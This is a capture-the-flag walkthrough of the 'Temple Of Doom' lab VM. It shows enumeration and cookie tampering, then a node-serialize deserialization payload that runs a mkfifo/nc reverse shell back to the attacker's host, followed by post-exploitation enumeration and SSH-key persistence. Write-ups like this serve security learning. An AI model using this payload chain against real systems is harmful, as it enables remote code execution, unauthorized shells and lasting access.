Temple Of Doom 1
Second last in my original list, lets fucking go!
Oh how nice they give us the IP!
Recon
- VM published 8 Jun 2018
- 2 ways to get root
- Seems to be Red Hat OS
Enumeration
$ sudo nmap 10.10.10.7 1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-28 13:18 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.7
Host is up (0.00018s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
666/tcp open doom
MAC Address: 08:00:27:8D:8F:43 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
└─$ nc -vn 10.10.10.7 666 1 ⨯
(UNKNOWN) [10.10.10.7] 666 (?) open
ls
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.10.7:666
Under Construction, Come Back Later!
┌──(kali㉿kali)-[~/Desktop]
└─$ nikto --host 10.10.10.7 --port 666
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.7
+ Target Hostname: 10.10.10.7
+ Target Port: 666
+ Start Time: 2021-02-28 13:28:09 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 5 item(s) reported on remote host
+ End Time: 2021-02-28 13:28:13 (GMT-5) (4 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
└─$ dirb http://10.10.10.7:666 /usr/share/wordlists/dirb/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Feb 28 13:29:46 2021
URL_BASE: http://10.10.10.7:666/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://10.10.10.7:666/ ----
-----------------
END_TIME: Sun Feb 28 13:29:52 2021
DOWNLOADED: 20458 - FOUND: 0
I started burp, and explored as a user, and somehow triggered this error:
I did this:
- Navigated to root
- Tried going to /wp-content
- Tried going to /blog
- went back to root
- this error I turned on intercept, there's a cookie with a parameter profile. Editing the value changes the JSON parse error. I'm not sure if code-injection is a thing in JS, but if it is this may be an in for us? I played with this for a little while, putting in characters and watching the output change until I realized that the cookie is base64 encoded:
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0" | base64 --decode
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}base64: invalid input"
Okay, there's an error in the JSON of the token, and the expiry date is way past... Let's see if changing that gets us anywhere:
──(kali㉿kali)-[~/Desktop]
└─$ echo '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}'
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' | base64
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdj
aGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0K
$ echo "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0K" | base64 --decode
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}
Intercept, change cookie to our payload...
Okay cool, where does that get us? There's nothing extra on the page...
Maybe this is an XSS vector that we could use to get remote file read?
$ echo '{"username":"alert('1234')","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' | base64
eyJ1c2VybmFtZSI6ImFsZXJ0KDEyMzQpIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMz
NGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAg
R01UIn0K
eyJ1c2VybmFtZSI6ImFsZXJ0KDEyMzQpIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0K
Okay, we do have control of the page somewhat... I think this is going to require a fair bit of iteration, so I'm going to write a little python script to help me out:
import sys
import base64
payload = sys.argv[1]
token = '{"username":"%s","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' % payload
token_bytes = token.encode('ascii')
base64_bytes = base64.b64encode(token_bytes)
base64_token = base64_bytes.decode('ascii')
print(base64_token)
Testing:
└─$ python t.py a
eyJ1c2VybmFtZSI6ImEiLCJjc3JmdG9rZW4iOiJ1MzJ0NG8zdGIzZ2c0MzFmczM0Z2dkZ2NoanduemEwbD0iLCJFeHBpcmVzIjoiRnJpZGF5LCAxMyBPY3QgMjAyNSAwMDowMDowMCBHTVQifQ==
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "eyJ1c2VybmFtZSI6ImEiLCJjc3JmdG9rZW4iOiJ1MzJ0NG8zdGIzZ2c0MzFmczM0Z2dkZ2NoanduemEwbD0iLCJFeHBpcmVzIjoiRnJpZGF5LCAxMyBPY3QgMjAyNSAwMDowMDowMCBHTVQifQ==" | base64 --decode
{"username":"a","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}
Perfect, now let's modify this to actually send out payload and get a response for us:
import sys
import base64
import requests
# Build payload
payload = sys.argv[1]
token = '{"username":"%s","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' % payload
token_bytes = token.encode('ascii')
base64_bytes = base64.b64encode(token_bytes)
base64_token = base64_bytes.decode('ascii')
cookies = {'profile':base64_token}
# Send request
res = requests.get('http://10.10.10.7:666', cookies=cookies)
print(res)
print(res.content)
And testing...
$ python3 t.py a
<Response [200]>
b'Hello a'
Lovely, now let's play!
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py <html></html>
zsh: parse error near \`<\'
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py "<html></html>"
<Response [200]>
b'Hello <html></html>'
└─$ python3 t.py "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
<Response [200]>
b'Hello %3Cscript%3Ealert(1)%3C%2Fscript%3E'
└─$ python3 t.py "\<"
<Response [500]>
b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Error</title>\n</head>\n<body>\n<pre>SyntaxError: Unexpected token < in JSON at position 14<br> at JSON.parse (<anonymous>)<br> at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)<br> at /home/nodeadmin/.web/server.js:12:29<br> at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)<br> at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)</pre>\n</body>\n</html>\n'
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py "\\\\"
<Response [200]>
b'Hello \\'
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py \"\\\"
dquote>
dquote>
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py "\\\""
<Response [200]>
b'Hello "'
At this point I'm just fucking around... I've written a bunch of nodejs code but honestly It's been quite a while... so I did a bit of research. The first thing I found on google for NodeJS RCE was this:
- https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf Funny enough, this looks to be our exact scenario... I'll spell it out here. Here's the likely application code:
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile)
{
var str = new Buffer(req.cookies.profile,'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Hello " + escape(obj.username));
}
} else {
res.cookie('profile',"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true});
}
res.send("Hello World");
});
app.listen(3000);
serialize.unserialize()
gives us a shot at RCE...
$ python3 t.py {\"payload\":\"__$$ND_FUNC$$_function(){\r\nconsole.log(\"TEST\");\r\n\t}\"}
{'profile': 'eyJ1c2VybmFtZSI6IntwYXlsb2FkOl9fMTg3MU5EX0ZVTkMxODcxX2Z1bmN0aW9uKCl7XHJcbmNvbnNvbGUubG9nKFRFU1QpO1xyXG5cdH19IiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0='}
<Response [200]>
b'Hello {payload:__1871ND_FUNC1871_function(){\r\nconsole.log(TEST);\r\n\t}}'
At this point, I realized using stdin for my python args would cause some issues, so I modified my script with my new understanding:
import sys
import base64
import requests
# Build payload
payload = """{"username": "_$$ND_FUNC$$_function (){ return 'hi'; }()" ,"country":"india","city":"Delhi"}"""
payload_bytes = payload.encode('ascii')
base64_bytes = base64.b64encode(payload_bytes)
base64_payload = base64_bytes.decode('ascii')
cookies = {'profile':base64_payload}
print(payload)
print(cookies)
# Send request
res = requests.get('http://10.10.10.7:666', cookies=cookies)
print(res)
print(res.content)
This contains an example payload from the resource above... when executed we get 'hi' as the response! RCE!
$ python3 t.py
└─$ python3 t.py
└─$ python3 t.py
{"username": "_$$ND_FUNC$$_function (){ return 'hi'; }()" ,"country":"india","city":"Delhi"}
{'profile': 'eyJ1c2VybmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHJldHVybiAnaGknOyB9KCkiICwiY291bnRyeSI6ImluZGlhIiwiY2l0eSI6IkRlbGhpIn0='}
<Response [200]>
b'Hello hi'
Alright, now we should be able to use this to get a shell on the system pretttty quickly, it took a bit of messing around, but the working payload was:
payload = """{"username": "_$$ND_FUNC$$_function (){ require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.4 4444 >/tmp/f\\", function puts(error, stdout, stderr) {}); }()" ,"country":"india","city":"Delhi"}"""
And we popped a reverse shell!
└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.7: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.7] 50222
sh: cannot set terminal process group (821): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
[nodeadmin@localhost ~]$ id
id
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
[nodeadmin@localhost ~]$ ls -al
ls -al
total 40
drwx------. 5 nodeadmin nodeadmin 4096 Jun 7 2018 .
drwxr-xr-x. 4 root root 4096 Jun 2 2018 ..
-rw-------. 1 nodeadmin nodeadmin 1 Jun 7 2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin 18 Mar 15 2018 .bash_logout
-rw-r--r--. 1 nodeadmin nodeadmin 193 Mar 15 2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin 231 Mar 15 2018 .bashrc
drwx------ 3 nodeadmin nodeadmin 4096 Jun 1 2018 .config
-rw------- 1 nodeadmin nodeadmin 16 Jun 3 2018 .esd_auth
drwxr-xr-x 4 nodeadmin nodeadmin 4096 Jun 3 2018 .forever
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30 2018 .web
[nodeadmin@localhost ~]$ ls /home
ls /home
fireman nodeadmin
[nodeadmin@localhost /]$ ps -aux
ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 170832 9384 ? Ss 13:10 0:00 /usr/lib/system
root 2 0.0 0.0 0 0 ? S 13:10 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 13:10 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 13:10 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 13:10 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 13:10 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 13:10 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 13:10 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 13:10 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 13:10 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 13:10 0:00 [kdevtmpfs]
root 14 0.0 0.0 0 0 ? I< 13:10 0:00 [netns]
root 15 0.0 0.0 0 0 ? S 13:10 0:00 [rcu_tasks_kthr
root 16 0.0 0.0 0 0 ? S 13:10 0:00 [kauditd]
root 17 0.0 0.0 0 0 ? S 13:10 0:00 [oom_reaper]
root 18 0.0 0.0 0 0 ? I< 13:10 0:00 [writeback]
root 19 0.0 0.0 0 0 ? S 13:10 0:00 [kcompactd0]
root 20 0.0 0.0 0 0 ? SN 13:10 0:00 [ksmd]
root 21 0.0 0.0 0 0 ? SN 13:10 0:00 [khugepaged]
root 22 0.0 0.0 0 0 ? I< 13:10 0:00 [crypto]
root 23 0.0 0.0 0 0 ? I< 13:10 0:00 [kintegrityd]
root 24 0.0 0.0 0 0 ? I< 13:10 0:00 [kblockd]
root 25 0.0 0.0 0 0 ? I< 13:10 0:00 [ata_sff]
root 26 0.0 0.0 0 0 ? I< 13:10 0:00 [md]
root 27 0.0 0.0 0 0 ? I< 13:10 0:00 [edac-poller]
root 28 0.0 0.0 0 0 ? I< 13:10 0:00 [devfreq_wq]
root 29 0.0 0.0 0 0 ? S 13:10 0:00 [watchdogd]
root 32 0.0 0.0 0 0 ? S 13:10 0:00 [kswapd0]
root 81 0.0 0.0 0 0 ? I< 13:10 0:00 [kthrotld]
root 82 0.0 0.0 0 0 ? I< 13:10 0:00 [acpi_thermal_p
root 83 0.0 0.0 0 0 ? S 13:10 0:00 [scsi_eh_0]
root 84 0.0 0.0 0 0 ? I< 13:10 0:00 [scsi_tmf_0]
root 85 0.0 0.0 0 0 ? S 13:10 0:00 [scsi_eh_1]
root 86 0.0 0.0 0 0 ? I< 13:10 0:00 [scsi_tmf_1]
root 87 0.0 0.0 0 0 ? S 13:10 0:00 [scsi_eh_2]
root 88 0.0 0.0 0 0 ? I< 13:10 0:00 [scsi_tmf_2]
root 89 0.0 0.0 0 0 ? I 13:10 0:00 [kworker/u2:2]
root 90 0.0 0.0 0 0 ? I< 13:10 0:00 [dm_bufio_cache
root 91 0.0 0.0 0 0 ? I< 13:10 0:00 [ipv6_addrconf]
root 92 0.0 0.0 0 0 ? I 13:10 0:00 [kworker/u2:3]
root 93 0.0 0.0 0 0 ? I 13:10 0:01 [kworker/0:2]
root 99 0.0 0.0 0 0 ? I< 13:10 0:00 [kstrp]
root 353 0.0 0.0 0 0 ? I< 13:10 0:00 [kworker/0:1H]
root 379 0.0 0.0 0 0 ? I< 13:10 0:00 [ttm_swap]
root 419 0.0 0.0 0 0 ? I< 13:10 0:00 [kdmflush]
root 429 0.0 0.0 0 0 ? I< 13:10 0:00 [kdmflush]
root 448 0.0 0.0 0 0 ? S 13:10 0:00 [jbd2/dm-0-8]
root 449 0.0 0.0 0 0 ? I< 13:10 0:00 [ext4-rsv-conve
root 531 0.0 0.3 124344 16844 ? Ss 13:10 0:00 /usr/lib/system
root 557 0.0 0.1 96168 7896 ? Ss 13:10 0:00 /usr/lib/system
root 622 0.0 0.0 0 0 ? S 13:11 0:00 [jbd2/sda1-8]
root 623 0.0 0.0 0 0 ? I< 13:11 0:00 [ext4-rsv-conve
root 642 0.0 0.0 0 0 ? I< 13:11 0:00 [rpciod]
root 643 0.0 0.0 0 0 ? I< 13:11 0:00 [kworker/u3:0]
root 644 0.0 0.0 0 0 ? I< 13:11 0:00 [xprtiod]
root 646 0.0 0.0 54064 1936 ? S<sl 13:11 0:00 /sbin/auditd
root 674 0.0 0.1 98152 4800 ? Ss 13:11 0:00 /sbin/rngd -f
root 675 0.0 0.0 17472 1608 ? SNs 13:11 0:00 /usr/sbin/alsac
dbus 676 0.0 0.1 52808 4744 ? Ss 13:11 0:00 /usr/bin/dbus-d
root 677 0.0 0.1 417584 8524 ? Ssl 13:11 0:00 /usr/sbin/Modem
avahi 681 0.0 0.0 54432 3556 ? Ss 13:11 0:00 avahi-daemon: r
root 684 0.0 0.2 519296 10588 ? Ssl 13:11 0:00 /usr/libexec/ud
rtkit 688 0.0 0.0 192964 3528 ? SNsl 13:11 0:00 /usr/libexec/rt
root 689 0.0 0.1 26364 4884 ? Ss 13:11 0:00 /usr/sbin/smart
root 690 0.0 0.3 665876 16752 ? Ssl 13:11 0:00 /usr/sbin/Netwo
root 692 0.0 0.4 685972 20800 ? Ssl 13:11 0:00 /usr/sbin/rsysl
root 693 0.0 0.1 79464 6280 ? Ss 13:11 0:00 /usr/lib/system
root 713 0.0 0.2 546912 10572 ? Ssl 13:11 0:00 /usr/sbin/abrtd
avahi 714 0.0 0.0 54300 376 ? S 13:11 0:00 avahi-daemon: c
root 715 0.0 0.0 299692 3552 ? Ssl 13:11 0:00 /usr/sbin/gsspr
polkitd 735 0.0 0.5 1751252 21960 ? Ssl 13:11 0:00 /usr/lib/polkit
chrony 737 0.0 0.0 105572 2744 ? S 13:11 0:00 /usr/sbin/chron
root 744 0.0 0.3 743436 13916 ? Ss 13:11 0:00 /usr/bin/abrt-d
root 745 0.0 0.4 743436 19356 ? Ss 13:11 0:00 /usr/bin/abrt-d
root 747 0.0 0.5 809044 23756 ? Ss 13:11 0:00 /usr/bin/abrt-d
root 761 0.0 0.1 79544 6772 ? Ss 13:11 0:00 /usr/sbin/sshd
root 768 0.0 0.0 28088 2240 ? Ss 13:11 0:00 /usr/sbin/atd -
root 769 0.0 0.0 229504 3464 ? Ss 13:11 0:00 /usr/sbin/crond
root 780 0.0 0.1 287720 4780 ? S 13:11 0:00 /usr/sbin/CROND
root 786 0.0 0.0 213528 1792 tty1 Ss+ 13:11 0:00 /sbin/agetty -o
nodeadm+ 797 0.0 0.1 87688 8308 ? Ss 13:11 0:00 /usr/lib/system
nodeadm+ 805 0.0 0.0 140884 2628 ? S 13:11 0:00 (sd-pam)
nodeadm+ 821 0.0 0.0 0 0 ? Zs 13:11 0:00 [sh] <defunct>
nodeadm+ 822 0.0 1.0 900396 45676 ? Sl 13:11 0:03 /bin/node /home
nodeadm+ 823 0.0 0.2 497052 8776 ? Ssl 13:11 0:00 /usr/bin/pulsea
root 832 0.0 0.2 82768 8704 ? S 13:11 0:00 /sbin/dhclient
nodeadm+ 916 0.0 0.0 52236 3904 ? Ss 13:11 0:00 /usr/bin/dbus-d
root 1029 0.0 0.0 0 0 ? Z 13:31 0:00 [sendmail] <def
root 1687 0.0 0.0 0 0 ? I 15:16 0:00 [kworker/0:0]
nodeadm+ 1688 0.0 0.0 214380 3108 ? S 15:17 0:00 /bin/sh -c rm /
nodeadm+ 1691 0.0 0.0 209080 808 ? S 15:17 0:00 cat /tmp/f
nodeadm+ 1692 0.0 0.0 218716 3800 ? S 15:17 0:00 /bin/sh -i
nodeadm+ 1693 0.0 0.1 25016 5968 ? S 15:17 0:00 nc 10.10.10.4 4
nodeadm+ 1696 0.0 0.1 236020 7128 ? S 15:19 0:00 python -c impor
nodeadm+ 1697 0.0 0.0 218716 3768 pts/0 Ss 15:19 0:00 /bin/sh
nodeadm+ 1722 0.0 0.1 236016 7180 pts/0 S+ 15:20 0:00 python -c impor
nodeadm+ 1723 0.0 0.1 220008 5444 pts/1 Ss 15:20 0:00 /bin/bash
root 1786 0.0 0.0 0 0 ? I 15:22 0:00 [kworker/0:1]
nodeadm+ 1794 0.0 0.0 250564 3776 pts/1 R+ 15:23 0:00 ps -aux
[nodeadmin@localhost log]$ uname -a
uname -a
Linux localhost.localdomain 4.16.3-301.fc28.x86_64 #1 SMP Mon Apr 23 21:59:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[nodeadmin@localhost cron.hourly]$ systemctl list-timers --all
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2021-02-28 16:22:49 EST 54min left Sun 2021-02-28 15:22:49 EST 5min ago dnf-makecache.timer dnf-makecache.service
Mon 2021-03-01 00:00:00 EST 8h left Sun 2021-02-28 13:11:05 EST 2h 16min ago mlocate-updatedb.timer mlocate-updatedb.service
Mon 2021-03-01 13:26:39 EST 21h left Sun 2021-02-28 13:26:39 EST 2h 1min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/sbin/userhelper
/usr/sbin/pam_timestamp_check
/usr/sbin/mtr-packet
/usr/sbin/usernetctl
/usr/sbin/exim
/usr/sbin/mount.nfs
/usr/sbin/unix_chkpwd
/usr/libexec/gstreamer-1.0/gst-ptp-helper
/usr/libexec/Xorg.wrap
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/bin/newgidmap
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/mount
/usr/bin/at
/usr/bin/su
/usr/bin/umount
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chage
/usr/bin/newgrp
/usr/local/lib/authbind/helper
/usr/lib/polkit-1/polkit-agent-helper-1
[nodeadmin@localhost cron.hourly]$ env
env
LS_COLORS=
MODULES_RUN_QUARANTINE=LD_LIBRARY_PATH
LANG=en_CA.UTF-8
XDG_SESSION_ID=3
MODULES_CMD=/usr/share/Modules/libexec/modulecmd.tcl
USER=nodeadmin
ENV=/usr/share/Modules/init/profile.sh
PWD=/etc/cron.hourly
HOME=/home/nodeadmin
BASH_ENV=/usr/share/Modules/init/bash
LOADEDMODULES=
SHELL=/bin/bash
SHLVL=5
MODULEPATH=/etc/scl/modulefiles:/usr/share/Modules/modulefiles:/etc/modulefiles:/usr/share/modulefiles
LOGNAME=nodeadmin
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
XDG_RUNTIME_DIR=/run/user/1001
MODULEPATH_modshare=/usr/share/modulefiles:1:/etc/modulefiles:1:/usr/share/Modules/modulefiles:1
PATH=/usr/share/Modules/bin:/usr/bin:/bin
MODULESHOME=/usr/share/Modules
LESSOPEN=||/usr/bin/lesspipe.sh %s
BASH_FUNC_module%%=() { _moduleraw "$@" 2>&1
}
BASH_FUNC_switchml%%=() { typeset swfound=1;
if [ "${MODULES_USE_COMPAT_VERSION:-0}" = '1' ]; then
typeset swname='main';
if [ -e /usr/share/Modules/libexec/modulecmd.tcl ]; then
typeset swfound=0;
unset MODULES_USE_COMPAT_VERSION;
fi;
else
typeset swname='compatibility';
if [ -e /usr/share/Modules/libexec/modulecmd-compat ]; then
typeset swfound=0;
MODULES_USE_COMPAT_VERSION=1;
export MODULES_USE_COMPAT_VERSION;
fi;
fi;
if [ $swfound -eq 0 ]; then
echo "Switching to Modules $swname version";
source /usr/share/Modules/init/bash;
else
echo "Cannot switch to Modules $swname version, command not found";
return 1;
fi
}
BASH_FUNC_scl%%=() { if [ "$1" = "load" -o "$1" = "unload" ]; then
eval "module $@";
else
/usr/bin/scl "$@";
fi
}
BASH_FUNC__moduleraw%%=() { unset _mlre _mlIFS _mlshdbg;
if [ "${MODULES_SILENT_SHELL_DEBUG:-0}" = '1' ]; then
case "$-" in
*v*x*)
set +vx;
_mlshdbg='vx'
;;
*v*)
set +v;
_mlshdbg='v'
;;
*x*)
set +x;
_mlshdbg='x'
;;
*)
_mlshdbg=''
;;
esac;
fi;
if [ -n "${IFS+x}" ]; then
_mlIFS=$IFS;
fi;
IFS=' ';
for _mlv in ${MODULES_RUN_QUARANTINE:-};
do
if [ "${_mlv}" = "${_mlv##*[!A-Za-z0-9_]}" -a "${_mlv}" = "${_mlv#[0-9]}" ]; then
if [ -n "`eval 'echo ${'$_mlv'+x}'`" ]; then
_mlre="${_mlre:-}${_mlv}_modquar='`eval 'echo ${'$_mlv'}'`' ";
fi;
_mlrv="MODULES_RUNENV_${_mlv}";
_mlre="${_mlre:-}${_mlv}='`eval 'echo ${'$_mlrv':-}'`' ";
fi;
done;
if [ -n "${_mlre:-}" ]; then
eval `eval ${_mlre}/usr/bin/tclsh /usr/share/Modules/libexec/modulecmd.tcl bash '"$@"'`;
else
eval `/usr/bin/tclsh /usr/share/Modules/libexec/modulecmd.tcl bash "$@"`;
fi;
_mlstatus=$?;
if [ -n "${_mlIFS+x}" ]; then
IFS=$_mlIFS;
else
unset IFS;
fi;
if [ -n "${_mlshdbg:-}" ]; then
set -$_mlshdbg;
fi;
unset _mlre _mlv _mlrv _mlIFS _mlshdbg;
return $_mlstatus
}
_=/usr/bin/env
OLDPWD=/etc
# Okay I'm getting bored, let's make sure I have persistant acess before I go for a break
sh-4.4$ cd /home/nodeadmin
cd /home/nodeadmin
sh-4.4$ mkdir .ssh
mkdir .ssh
sh-4.4$ cd .ssh
cd .ssh
sh-4.4$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOWct6VtfWUebAnnE3B3Fzg4Lo/s+exeDied0x1L/aOQuHlx90FaE1b6BzcTa7inViJE+xDF6Q4D/pxxfO5dYt+EptFjQInuXswfeH2mSVQGB6dJAxETRP7u7lrtIgyssu8LjFFsnvYKhB1IcJiYqNoBcisD70Zo8iBMPWLhNshpoOSpxsH1UQsXA2LBF9VYlGqj0/0jE1VJQecPOZp6pjOAdtINLQNy4PCLOvZY0c9034PjEdH2veBVrAEGNHPP+SYOU4nHRhgQKCxXf8MqO62V7mQEsTD8jKcBr8MWlRFxi7rtoSV7kXss+/Aa+GW+DxVCWf9TZ7nHZYp14uDtEukvjamHahx30jkKDNkX9PSPu6fHekkhc3iP0qVYcoQJtvwYxF2W2DucDrtTJ6cxVL/SvrTXtxchcnQono08yVyBJhmsNs3Ax77lp2f1Z384ojruz+SZsueJKYnt5BCZJfuarr/qpLEVnq41tfJrHpRn8aN/8mprn4gO/JrWunC+k= kali@kali" > authorized_keys
<8aN/8mprn4gO/JrWunC+k= kali@kali\" > authorized_keys
└─$ ssh nodeadmin@10.10.10.7
The authenticity of host '10.10.10.7 (10.10.10.7)' can\'t be established.
ECDSA key fingerprint is SHA256:1eJE7yDTRsXrbiPO/at+KaGAkGw3oeqo1SabMun84zE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.7' (ECDSA) to the list of known hosts.
Last login: Sun Jun 3 15:26:34 2018 from 192.168.2.15
[nodeadmin@localhost ~]$ ls -al
total 44
drwx------. 6 nodeadmin nodeadmin 4096 Feb 28 15:40 .
drwxr-xr-x. 4 root root 4096 Jun 2 2018 ..
-rw-------. 1 nodeadmin nodeadmin 1 Jun 7 2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin 18 Mar 15 2018 .bash_logout
-rw-r--r--. 1 nodeadmin nodeadmin 193 Mar 15 2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin 231 Mar 15 2018 .bashrc
drwx------ 3 nodeadmin nodeadmin 4096 Jun 1 2018 .config
-rw------- 1 nodeadmin nodeadmin 16 Jun 3 2018 .esd_auth
drwxr-xr-x 4 nodeadmin nodeadmin 4096 Jun 3 2018 .forever
drwxr-xr-x 2 nodeadmin nodeadmin 4096 Feb 28 15:40 .ssh
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30 2018 .web
[nodeadmin@localhost ~]$
Sweet, will come back soon and finish this off! Alright just noting interesting things as I poke around now...
- For some reason there's an nmap script in /usr/share
/usr/share/nmap/scripts/http-domino-enum-passwords.nse.1
